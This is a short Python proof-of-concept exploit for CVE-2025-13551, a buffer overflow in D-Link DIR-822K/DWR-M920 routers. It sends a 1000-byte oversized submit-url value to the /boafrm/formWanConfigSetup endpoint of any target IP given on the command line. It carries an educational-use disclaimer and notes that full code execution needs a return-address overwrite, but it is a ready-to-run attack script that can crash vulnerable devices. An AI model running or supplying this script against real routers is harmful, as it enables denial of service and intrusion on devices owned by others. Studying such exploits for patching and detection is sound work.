CVE-2025-13551

import requests import sys def exploit_cve_2025_13551(target_ip, target_port=80): """ PoC for CVE-2025-13551 - D-Link DIR-822K/DWR-M920 Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in the /boafrm/formWanConfigSetup endpoint via the submit-url parameter. WARNING: This code is for educational and authorized testing purposes only. """ target_url = f"http://{target_ip}:{target_port}/boafrm/formWanConfigSetup" # Create payload with oversized submit-url parameter # 1000 bytes of 'A' characters to trigger overflow payload_size = 1000 payload = "A" * payload_size # Construct the data payload data = { "submit-url": payload, "submit-button": "wanconfig", "wan_ipaddr": "192.168.1.100", "wan_netmask": "255.255.255.0", "wan_gateway": "192.168.1.1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Targeting: {target_url}") print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Sending malicious request...") try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.content)} bytes") # Check for signs of successful exploitation if response.status_code == 200: print("[+] Request sent successfully") print("[!] Note: Actual exploitation requires specific return address overwrite") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_13551(ip, port)

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